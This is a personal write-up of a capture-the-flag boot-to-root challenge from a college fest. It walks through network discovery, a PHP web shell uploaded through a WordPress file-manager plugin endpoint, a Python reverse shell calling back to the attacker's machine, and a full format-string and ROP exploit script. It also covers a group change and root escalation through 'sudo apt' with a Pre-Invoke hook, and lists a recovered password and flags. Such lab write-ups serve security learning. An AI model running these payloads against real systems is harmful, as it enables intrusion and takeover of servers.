Capture The Flag

from IIITDM in Savara Fest

They gave us vulnerable VM (.ova) and asked us to run it with a Bridged Adapter, then use Kali Linux to discover it on the network and the flags by Boot 2 Root Challenge

1. Import the OVA Machine

1. Open VirtualBox / VMware.
2. Import the .ova file.
3. Go to Network Settings of the imported VM.
4. Set Adapter 1 → Bridged Adapter.

Bridged mode makes the VM appear like a real device on your local network.

2. Set Kali to Bridged Mode

Your Kali VM must also be on the same network.

VirtualBox example:

Settings → Network → Adapter 1 → Bridged Adapter

Now both:

• Kali
• Target VM

are on the same LAN.

3. Find Your Network Interface in Kali

Run:

ip a

Example output:

192.168.1.15/24

This tells you your subnet is:

192.168.1.0/24

4. Scan the Network with Arp-scan

Now discover devices on the network.

sudo arp-scan --localnet

Example result:

192.168.1.10   VMware, Inc
192.168.1.15   Kali Linux
192.168.1.23   Unknown (Target VM)

The unknown IP is usually the target machine.

5. Confirm the Target

Now scan it with Nmap:

nmap -sC -sV IP Address

This will show:

• open ports
• services
• possible vulnerabilities

The Available port are 80 and 22

looking at the port is a WordPress with file uploads Vulnerability at the specific endpoint we have to upload a shell.php file to get cmd line

this is steps to upload a file

create shell.php in Ur attacking machine with this command

<?php system($_GET['cmd']); ?>

and upload this file at the endpoint

curl -F "upload[]=@shell.php" \
-F "cmd=upload" \
-F "target=l1_Lw" \
http://IP/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php

after upload completed

it should give u this out at this endpoint

http://IP/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=id

and got the cmd line ╰(°▽°)╯

then we have to get the reverse shell to our kali linux

open a port at 4444 at Ur kali

 nc -lvnp 4444

and for the reverse shell

curl "http://IP/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=python3+-c+'import+socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"KALI IP\",4444));os.dup2(s.fileno(),0);+os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import+pty;+pty.spawn(\"/bin/bash\")'"

after this we got the shell

then we have to find for flag and get the flag1 at the /var/www/html/flag1.txt

then also found the pcap file in the

after analysing the pcap file we got a img and pass at the ICMP packets

and the password was vK9#mX7w!Qz$2n

and got the second flag and we took too long to find out that the user1 have the same pass for his ssh, after logging in we got the flag3.txt

and the flag 4 was at the user2 that we have to Binary Exploit that Chronosync file and have to get the user2 shell for that we used a python script

cat << 'EOF' > /tmp/final_user2.py
import struct, subprocess, os, sys, select

p = subprocess.Popen(['/home/chronosync'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, bufsize=0)

# Step 1: Leak
p.stdin.write(b"%11$p\n")
p.stdin.flush()
o = b""
while b"Hello, " not in o: o += p.stdout.read(1)
leak = int(p.stdout.read(14).split(b"!")[0], 16)
base = leak - 0x87dda
print(f"[+] Base: {hex(base)}")

# Step 2: ROP
p64 = lambda x: struct.pack("<Q", x)

payload = b"A" * 136
payload += p64(0x40101a)                # ret_gadget (stack alignment for setreuid)
payload += p64(base + 0x10f78b)         # pop rdi
payload += p64(1002)                    # rdi = 1002
payload += p64(base + 0x110a7d)         # pop rsi
payload += p64(1002)                    # rsi = 1002
payload += p64(base + 0x1270d0)         # setreuid(1002, 1002)
payload += p64(base + 0x10f78b)         # pop rdi
payload += p64(base + 0x1cb42f)         # /bin/sh
payload += p64(0x40101a)                # ret_gadget (stack alignment for system)
payload += p64(base + 0x58750)          # system

p.stdin.write(payload + b"\n")
p.stdin.flush()
print("[!] SHELL READY.")

while True:
    r, _, _ = select.select([p.stdout, sys.stdin], [], [])
    if p.stdout in r:
        d = p.stdout.read(1)
        if not d: break
        sys.stdout.buffer.write(d); sys.stdout.buffer.flush()
    if sys.stdin in r:
        d = os.read(sys.stdin.fileno(), 1)
        if not d: break
        p.stdin.write(d); p.stdin.flush()
EOF
python3 /tmp/final_user2.py

got the shell of user2 and top stable it we have to use this command

for this flag they made a mistake

that it returns the flag3 again instead of flag4 so they changed for us

flag 4  : FLAG{n92u8047219394791d3h746r}

note the flag will change every time u restart the server that CTF_FEST.ova file that flag were dynamic flag but not the flag2 it was constant

for the user3 flag we have to change the group for user2

Privilege Escalation: user2 → user3

user2 (gid=user1) ──► devs group ──► /home/user3/ ──► user3

user2@CTF-FEST:/home/user3/.ssh$ stat /home/user3
stat /home/user3
  File: /home/user3
  Size: 4096            Blocks: 8          IO Block: 4096   directory
Device: 8,2     Inode: 524312      Links: 4
Access: (0750/drwxr-x---)  Uid: ( 1003/   user3)   Gid: ( 1004/    devs)
Access: 2026-03-30 08:03:08.136178157 +0000
Modify: 2026-03-12 16:07:38.090611368 +0000
Change: 2026-03-12 16:07:38.090611368 +0000
 Birth: 2026-03-04 11:07:22.860673899 +0000
user2@CTF-FEST:/home/user3/.ssh$

by this command

newgrp devs

from user3 to root

sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash

that’s all we found all the 6 flags we were the only team to privilege to user2 and got the all the flag2 but at the initial stage we done forensic wit ova file and got all the got the flag with that and the event organizers told us not to do that so we gone to correct path